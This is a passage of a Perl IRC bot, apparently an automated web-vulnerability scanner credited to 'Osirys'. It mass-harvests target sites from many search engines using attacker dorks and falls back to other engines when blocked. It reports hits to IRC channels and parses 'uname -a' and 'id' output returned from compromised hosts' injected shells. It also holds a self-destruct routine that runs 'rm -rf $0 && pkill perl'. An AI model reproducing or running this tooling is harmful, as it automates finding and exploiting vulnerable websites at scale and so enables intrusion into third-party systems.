            writ1("9,1[*] 4,1>YAHOO[9,1".$domain[$dd]."4,1] : 11,1 ".scalar(@list)." 9,1 > 15,1 $dork");
            exit(0);
        }
        $count++;
        $dd++;
    }
    foreach my $f(@forks){
	waitpid($f,0);
    }
}
 
sub M_Super() {
    my @domain  = ("at","au","br","ca","de","fr","it");
    my $dork = $_[0];
    my $fname = $_[1];
    my @forks;
    my $count = 0;
    my $dd = 0;
    foreach my $d(@domain) {
        my $d0 = "$d-$d";
        if ($count % 1 == 0) {
            foreach my $f(@forks){
                waitpid($f,0);
            }
        }
        $forks[$count] = fork();
        if ($forks[$count] == 0) {
            for ($i=1;$i<=501;$i+=10) {
                my $msup = ("http://search.live.com/results.aspx?q=".key($dork)."&first=".$i."&FORM=PERE&FORM=MSNH&mkt=".$d0."&setlang=".$d0);
                my $re = query($msup);
                while ($re =~ m/<a href=\"http:\/\/(.+?)\" onmousedown/g) {
                    my $h = $1;
                    if ($h !~ /msn|live\.com|microsoft|WindowsLiveTranslator\.com/) {
                        push(@sgrep,$h);
                    }
                }
            }
            my @list = &fprint($fname,@sgrep);
            writ1("9,1[*] 4,1>MSN[9,1".$domain[$dd]."4,1] : 11,1 ".scalar(@list)." 9,1 > 15,1 $dork");
            exit(0);
        }
        $count++;
        $dd++;
    }
    foreach my $f(@forks){
	waitpid($f,0);
    }
}
 
sub google() {
    my @gsites;
    my $dork = $_[0];
    my $name = $_[1];
    my $gtest = ("www.google.com/search?q=hi&hl=en&start=10&sa=N");
    my $re = query1($gtest);
    if ($re =~ /Google Home/) {
        @gsites = gfind($dork,$name);
    }
    else {
        writ1("4,1[!] 4,1Banned by Google Engine, BYPASS started !");
        @gsites = gbypass($dork,$name);
    }
    return @gsites;
}
 
sub gfind() {
    my $dork = $_[0];
    my $name= $_[1];
    for ($i = 0;$i <= 1200; $i += 100) {
        my $glink = ("www.google.it/search?q=".key($dork)."&num=100&hl=it&as_qdr=all&start=".$i."&sa=N");
        my $re = query1($glink);
        while ($re =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $h = $1;
            if ($h !~ /google/) {
                push(@sgrep,$h);
            }
        }
    }
    my @list = fprint($name,@sgrep);
    return @list;
}
 
sub gbypass() { # Euroseek uses the same search type of google
    my $dork  = $_[0];
    my $name = $_[1];
    for ($i = 0 ;$i <= 1000 ;$i += 10) {
        my $gplink = ("http://euroseek.com/system/search.cgi?language=en&mode=internet&start=".$i."&string=".key($dork));
        my $re = query($gplink);
        while ($re =~ m/<a href=\"http:\/\/(.+?)\" class=\"searchlinklink\">/g) {
            my $h = $1;
            push(@sgrep,$h);
        }
    }
    my @list = fprint($name,@sgrep);
    return @list;
}
 
sub alltheweb() {
    my $dork  = $_[0];
    my $name = $_[1];
    for ($i = 0;$i <= 1000;$i += 100) {
        my $alink = ("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($dork)."&o=".$i);
        my $re = query($alink);
        while ($re =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g) {
            my $h = $1;
            $h =~ s/ //g;
            push(@sgrep,$h);
        }
     }
     my @list = fprint($name,@sgrep);
     return @list;
}
 
sub altavista() {
    my $dork  = $_[0];
    my $name = $_[1];
    my $atest = ("http://it.altavista.com/web/results?itag=ody&q=".key($dork)."&kgs=0&kls=1");
    my $re = query($atest);
    if ($re =~ /Sono stati trovati 0 risultati/) {
        return @list;
    }
    else {
        for ($i = 0;$i <= 1000;$i += 50){
            my $alink = ("http://it.altavista.com/web/results?itag=ody&kgs=0&q=".key($dork)."&stq=".$i);
            my $re = query($alink);
            while ($re =~ m/<span class=ngrn>(.+?)<\/span>/g) {
                my $h = $1;
                push(@sgrep,$h);
            }
        }
        my @list = fprint($name,@sgrep);
        return @list;
    }
}
 
sub msn() {
    my $dork  = $_[0];
    my $name = $_[1];
    for ($i = 1;$i <= 800;$i += 10) {
        my $mlink = ( "http://search.live.com/results.aspx?q=".key($dork)."&first=".$i."&FORM=PERE" );
        my $re = query($mlink);
        while ($re =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $h = $1;
            if ($h !~ /msn|live/ ) {
                push(@sgrep,$h);
            }
        }
    }
    my @list = fprint($name,@sgrep);
    return @list;
}
 
sub yahoo() {
    my @ysites;
    my $dork = $_[0];
    my $name = $_[1];
    my $ytest = ("http://search.yahoo.com/search?p=".key($dork)."&fr=yfp-t-501&ei=UTF-8&rd=r1");
    my $re = query($ytest);
    if ($re =~ /We did not find results for: <strong>/) {
        return @ysites;
    }
    elsif ($re =~ /Yahoo! Search results/) {
        @ysites = yfind($dork,$name);
        return @ysites;
    }
    else {
        writ1("4,1[!] 4,1Banned by Yahoo Engine, BYPASS started!");
        @ysites = ybypass($dork,$name);
        return @ysites;
    }
}
 
sub yfind() {
    my $dork  = $_[0];
    my $name = $_[1];
    for ($i = 1;$i <= 901;$i += 100) {
        my $ylink = ("http://search.yahoo.com/search?p=".key($dork)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vd=all&vst=0&vf=all&vm=r&fl=0&fr=yfp-t-501&pstart=1&b=".$1);
        my $re = query($ylink);
        while ($re =~ m/<a class=\"yschttl\" href=\"http:\/\/(.+?)\" >/g) {
            my $h = $1;
            if ($h !~ /yahoo|<|>/) {
                push(@sgrep,$h);
            }
        }
    }
    my @list = fprint($name,@sgrep);
    return @list;
}
 
sub ybypass() { # GoodSearch uses the same search type of Yahoo
    my $dork  = $_[0];
    my $name = $_[1];
    my $ybytest = ("http://www.goodsearch.com/Search.aspx?Keywords=".key($dork)."&page=1&osmax=16");
    my $re = query($ybytest);
    if ($re =~ /Your search did not yield any results/){
        return @list;
    }
    else {
        for $i(1..50){
            my $ybylink = ("http://www.goodsearch.com/Search.aspx?Keywords=".key($dork)."&page=".$i."&osmax=16");
            my $re = query($ybylink);
            while ($re =~ m/href=\"(.+?)\">(.+?)<\/a>/g) {
                my $h = $2;
                if (($h =~ /\./) && ($h !~ /<|>| /)){
                    push(@sgrep,$h);
                }
            }
        }
        my @list = fprint($name,@sgrep);
        return @list;
    }
}
 
 
sub gigablast() { 
    my $dork  = $_[0];
    my $name = $_[1];
    my $gtest = ("http://www.gigablast.com/index.php?n=10&k5p=215334&q=".key($dork)."&submit.x=0&submit.y=0");
    my $re = query($gtest);
    if ($re =~ /No results found for/){
        return @list;
    }
    else {
        for ($i = 0; $i <= 1000; $i += 10) {
            my $glink = ("http://www.gigablast.com/index.php?q=".key($dork)."&submit_x=929&submit_y=168&k9j=686621&s=".$i."&n=10&");
            my $re = query($glink);
            while ($re =~ m/href=\"http:\/\/(.+?)\">/g) {
                my $h = $1;
                if ($h !~ /web\.archive|gigablast/){
                    push(@sgrep,$h);
                }
            }
        }
        my @list = fprint($name,@sgrep);
        return @list;
    }
}
 
sub ask() {
    my $dork = $_[0]; 
    my $name = $_[1];
    my $atest = ("http://it.ask.com/web?q=".key($dork)."&qsrc=1&o=312&l=dir&dm=all");
    my $re = query($atest);
    if ($re =~ /non ha prodotto alcun risultato/) {
        return @list;
    }
    else {
        for ($i = 0;$i <= 20;$i ++){
            my $alink = ("http://it.ask.com/web?q=".key($dork)."&o=0&l=dir&qsrc=0&qid=612B74535B00F6CA7678625658F9B98C&dm=all&page=".$i);
            my $re = query($alink);
            while($re =~ m/href=\"http:\/\/(.+?)\"/g){
                my $h = $1;
                if ($h !~ /ask|wikipedia/){
                    push(@sgrep,$h);
                }
            }
        }
        my @list = fprint($name,@sgrep);
        return @list;
    }
}
 
## Aol doesn't work, don't know why. When i try to make a http request on aol host, this is the message that i received: You don't have permission to access /aol/search
## Don't know hot to fix it :S Anyway you have here the sub, so you can try to fix this problem
 
sub aol() {
    my $dork = $_[0]; 
    my $name = $_[1];
    my $atest = ("http://search.aol.com/aol/search?invocationType=topsearchbox.search&query=".key($dork));
    my $re = query($atest);
    if ($re =~ /returned no results\.<\/h3>/) {
        return @list;
    }
    else {
        for $i(1..100){
            my $alink = ("http://search.aol.com/aol/search?query=".key($dork)."&page=".$i."&nt=SG2&do=Search&invocationType=comsearch30&clickstreamid=3154480101243260576");
            my $re = query($alink);print "$re\n";
            while($re =~ m/\"deleted\" property=\"f:url\">http:\/\/(.+?)<\/p>/g) {
                my $h = $1;
                push(@sgrep,$h);
            }
        }
        my @list = fprint($name,@sgrep);
        return @list;
    }
}
 
sub dmoz() {
    my $dork = $_[0];
    my $name = $_[1];
    my $dtest = ("http://search.dmoz.org/cgi-bin/search?search=".key($dork));
    my $re = query($dtest);
    if ($re =~ m/No <b><a href=\"http:\/\/dmoz.org\/\">Open Directory Project<\/a><\/b> results found/g){
        return @list;
    }
    elsif ($re =~ /of (.+?)\)<p>/){
        my $ftot = $1;
        if ($ftot <= 20) {
            $max = 1;
        }
        else {
            my $to = $ftot / 20;
            if ($to =~ /(.+).(.+?)/){
                $uik = $1 * 20;
                $max = $uik +1;
            }
            elsif ($to =~ /[0-9]/) {
                my $to--;
                my $rej = $to * 20;
                $max = $rej +1;
            }
        }
    }
    for ($i = 1;$i <= $max;$i += 20){
        my $dlink = ("http://search.dmoz.org/cgi-bin/search?search=".key($dork)."&utf8=1&locale=it_it&start=".$i);
        my $re = query($dlink);
        while($re =~ m/<a href=\"http:\/\/(.+?)\"/g) {
            my $h = $1;
            if ($h !~ /dmoz/){
                push(@sgrep,$h);
            }
        }
    }
    my @list = fprint($name,@sgrep);
    return @list;
}
 
sub webde() {
    my $dork = $_[0]; 
    my $name = $_[1];
    for $i(1..50){
        my $wlink = ("http://suche.web.de/search/web/?pageIndex=".$i."&su=".key($dork)."&y=0&x=0&mc=suche@web@[email protected]@web");
        my $re = query($wlink);
        while($re =~ m/href=\"http:\/\/(.+?)\">/g) {
            my $h = $1;
            if ($h !~ /\/search\/web|web.de|\" class=\"neww\"/){
                push(@sgrep,$h);
            }
        }
    }
    my @list = fprint($name,@sgrep);
    return @list;
}
 
sub einet() {
    my $dork = $_[0]; 
    my $name = $_[1];
    my $etest = ("http://www.einet.net/view/search.gst?p=1&k=".key($dork)."&s=0&submit=Search");
    my $re = query($etest);
    if ($re =~ /<span class=nPage>Page 1 of\s+(.+?)<\/span>/){
        my $tot = $1;
        for ($i = 1;$i <= $tot;$i++){
            my $elink = ("http://www.einet.net/view/search.gst?p=".$i."&k=".key($dork)."&s=0&submit=Search");
            my $re = query($elink);
            while($re =~ m/<span class=url2>\s+(.+?)<\/span>/g) {
                my $h = $1;
                push(@sgrep,$h);
            }
        }
    }
    my @list = fprint($name,@sgrep);
    return @list;
}
 
sub uol() {
    my $dork = $_[0]; 
    my $name = $_[1];
    my $utest = ("http://busca.uol.com.br/www/index.html?q=".key($dork)."&ad=on");
    my $re = query($test1);
    if ($re =~ /não retornou nenhum resultado/) {
        return @list;
    }
    else {
        for($i = 0;$i <= 360;$i +=10) {
            my $uollink = ("http://busca.uol.com.br/www/index.html?ad=on&q=".key($dork)."&start=".$i);
            my $re = query($uollink);
            while($re =~ m/<dt><a href=\"http:\/\/(.+?)\">/g) {
                my $h = $1;
                push(@sgrep,$h);
            }
        }
        my @list = fprint($name,@sgrep);
        return @list;
    }
}
 
sub abacho() {
    my $dork = $_[0];
    my $name = $_[1];
    my $atest = ("http://search.abacho.com/it/abacho.it/index.cfm?q=".key($dork)."&country=it&x=0&y=0");
    my $re = query($atest);
    if ($re =~ /We didn't find any results matching your query/) {
        return @list;
    }
    else {
        for ($i = 0;$i <= 1000; $i += 10) {
            my $alink = ("http://search.abacho.com/it/abacho.it/index.cfm?offset=".$i."&poffset=0&StartCounter=".$i."&q=".key($dork)."&a=&b=&country=it&page=&d_html=&d_pdf=&d_msdoc=&d_xls=&d_ppt=&mesearchkey=&cluster=&coop=");
            my $re = query($alink);
            while ($re =~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g) {
                my $h = $1;
                push(@sgrep,$h);
            }
        }
        my @list = fprint($name,@sgrep);
        return @list;
    }
}
 
sub trovatore() {
    my $dork = $_[0];
    my $name = $_[1];
    my $ttest = ("http://213.215.201.230/search.jsp?query=".key($dork)."&langselect=all&hitsPerPage=10&hitsPerSite=1&clustering=&filterResults=null&start=0");
    my $re = query($ttest);
    if ($re =~ /Risultati <b>0-0<\/b>/) {
        return @list;
    }
    else {
        for ($i = 0;$i <= 2500; $i += 10) {
            my $tlink = ("http://213.215.201.230/search.jsp?query=".key($dork)."&langselect=all&hitsPerPage=10&hitsPerSite=1&clustering=&filterResults=null&start=".$i);
            my $re = query($tlink);
            while($re =~ m/<a href=\"http:\/\/(.+?)\">/g) {
                my $h = $1;
                if ($h !~ /iltrovatore\.it|213\.215\.201\.230|microsoft|wikipedia/){
                    push(@sgrep,$h);
                }
            }
        }
        my @list = fprint($name,@sgrep);
        return @list;
    }
}
 
sub lycos() {
    my $dork = $_[0];
    my $name = $_[1];
    my $ltest = ("http://cerca.lycos.it/cgi-bin/pursuit?pag=0&query=".key($dork)."&cat=web&enc=utf-8&xargs=");
    my $re = query($ltest);
    if ($re =~ /non ha avuto esito positivo tra/) {
        return @list;
    }
    else {
        for $i(0..79) {
            my $llink = ("http://cerca.lycos.it/cgi-bin/pursuit?pag=".$i."&query=".key($dork)."&cat=web&enc=utf-8");
            my $re = query($llink);
            while($re =~ m/title=\"\" >http:\/\/(.+?)<\/a>/g) {
                my $h = $1;
                if ($h !~ /youtube|google|wikipedia|microsoft/){
                    push(@sgrep,$h);
                }
            }
        }
        my @list = fprint($name,@sgrep);
        return @list;
    }
}
 
sub walhello() {
    my $dork = $_[0];
    my $name = $_[1];
    my $wtest = ("http://www.walhello.info/search?key=".key($dork)."&taal=a&nummer=0&&web=no&&vert=2&");
    my $re = query($wtest);
    if ($re =~ /Verzeihung, Nichts gefunden/) {
        return @list;
    }
    else {
        for $i(0..99) {
            my $wlink = ("http://www.walhello.info/search?key=".key($dork)."&taal=a&nummer=".$i."&&web=no&&vert=2&");
            my $re = query($wlink);
            while($re =~ m/<a href=http:\/\/(.+?)>/g) {
                my $h = $1;
                if ($h !~ /walhello|microsoft|wikipedia/){
                    push(@sgrep,$h);
                }
            }
        }
        my @list = fprint($name,@sgrep);
        return @list;
    }
}
 
sub virgilio() {
    my $dork = $_[0];
    my $name = $_[1];
    my $vtest = ("http://ricerca.alice.it/ricerca?qs=".key($dork)."&Cerca=&lr=");
    my $re = query($vtest);
    if ($re =~ /<span>Controlla che tutte le parole siano state digitate correttamente<\/span>/) {
        return @list;
    }
    else {
        for ($i = 0;$i <= 800; $i += 10) {
            my $vlink = ("http://ricerca.alice.it/ricerca?qs=".key($dork)."&filter=1&site=&lr=&hits=10&offset=".$i);
            my $re = query($vlink);
            while($re =~ m/<span><a href=\"http:\/\/(.+?)\">/g) {
                my $h = $1;
                if ($h !~ /microsoft|wikipedia/){
                    push(@sgrep,$h);
                }
            }
        }
        my @list = fprint($name,@sgrep);
        return @list;
    }
}
 
sub admin() {
    my $nick = $_[0];
    my $cheek;
    @admins;
    foreach my $a(@admins) {
        if ($nick eq $a) {
            $cheek = 1;
        }
    }
    return $cheek;
}
 
sub remove() {
    my $file = @_;
    foreach my $f(@_){
        system("rm -rf $f");
    }
}
 
sub clean() {
    $dork = $_[0];
    if ( $dork =~ /inurl:|allinurl:|intext:|allintext:|intitle:|allintitle:/ ) {
        writ1("15,1[+] 4,1Cleaning Dork from Google Search Keys !");
        $dork =~ s/^inurl://g;
        $dork =~ s/^allinurl://g;
        $dork =~ s/^intext://g;
        $dork =~ s/^allintext://g;
        $dork =~ s/^intitle://g;
        $dork =~ s/^allintitle://g;
    }
    return $dork;
}
 
sub key() {
    my $dork = $_[0];
    $dork =~ s/ /\+/g;
    $dork =~ s/:/\%3A/g;
    $dork =~ s/\//\%2F/g;
    $dork =~ s/&/\%26/g;
    $dork =~ s/\"/\%22/g;
    $dork =~ s/,/\%2C/g;
    $dork =~ s/\\/\%5C/g;
    return $dork;
}
 
sub fprint() {
    my($name,@sgrep) = @_;
    my @list;
    foreach my $n(@sgrep) {
        my @grep = &links($n);
        push(@list,@grep);
    }
    open($file, ">>", $name);
    foreach my $h(@list) {
        print $file "$h\n";
    }
    close($file);
    return @list;
}
 
sub links() {
    my @l;
    my $link = $_[0];
    my $host = $_[0];
    my $hdir = $_[0];
    $hdir =~ s/(.*)\/[^\/]*$/\1/;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $host .= "/";
    $link .= "/";
    $hdir .= "/";
    $host =~ s/\/\//\//g;
    $hdir =~ s/\/\//\//g;
    $link =~ s/\/\//\//g;
    push(@l, $link, $host, $hdir);
    return @l;
}
 
sub unici {
    my @unici = ();
    my %visti = ();
    foreach my $elemento (@_) {
        $elemento =~ s/\/+/\//g;
        next if $visti{$elemento}++;
        push @unici, $elemento;
    }
    return @unici;
}
 
sub os() {
    my $site = $_[0];
    my $re  = &query($site);
    while ($re =~ m/<br>uname -a:(.+?)\<br>/g) {
        $un = $1;
    }
    while ($re =~ m/<br>os:(.+?)\<br>/g) {
        $os = $1;
    }
    while ($re =~ m/<br>id:(.+?)\<br>/g) {
        $id1 = $1;
    }
    while ($re =~ m/<br>free:(.+?)\<br>/g) {
        $free = $1;
    }
    while ($re =~ m/<br>used:(.+?)\<br>/g) {
        $used = $1;
    }
    while ($re =~ m/<br>total:(.+?)\<br>/g) {
        $all = $1;
    }
}
 
sub rce_os() {
    my $site = $_[0];
    my $re = &query($site);
    while ($re =~ m/^(.*)$/g) {
        $un_rce = $1;
    }
}
 
sub cheek() {
    if (($auth !~ /Osirys/)||($authmail !~ /osirys/)) {
        print "\nI hate rippers, before putting your nick on a script, be sure that you coded it!\nby Osirys // Third Eye Security\n\n"; 
        exec("rm -rf $0 && pkill perl");
    }
}
 
sub query() {
    $link = $_[0];
    my $req = HTTP::Request->new(GET => $link);
    my $ua = LWP::UserAgent->new();
    $ua->timeout(4);
    my $response = $ua->request($req);
    return $response->content;
}
 
sub query1() {
    my $url = $_[0];
    my $host  = $url;
    my $query = $url;
    $host  =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~ s/$host//;
    eval {
        my $sock = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || return;
        print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
        my @r = <$sock>;
        $page = "@r";
        close($sock);
    };
    return $page;
}
 
sub writ1() {
    my $cont = $_[0];
    print $c0n "PRIVMSG $chan1 :$cont\n";
}
 
sub writ2() {
    my $cont = $_[0];
    print $c0n "PRIVMSG $chan2 :$cont\n";
}
 
sub pm() {
    my $nick = $_[0];
    my $cont = $_[1];
    print $c0n "PRIVMSG $nick :$cont\n";
}
 
## PRIVATE
## Coded by Osirys

Back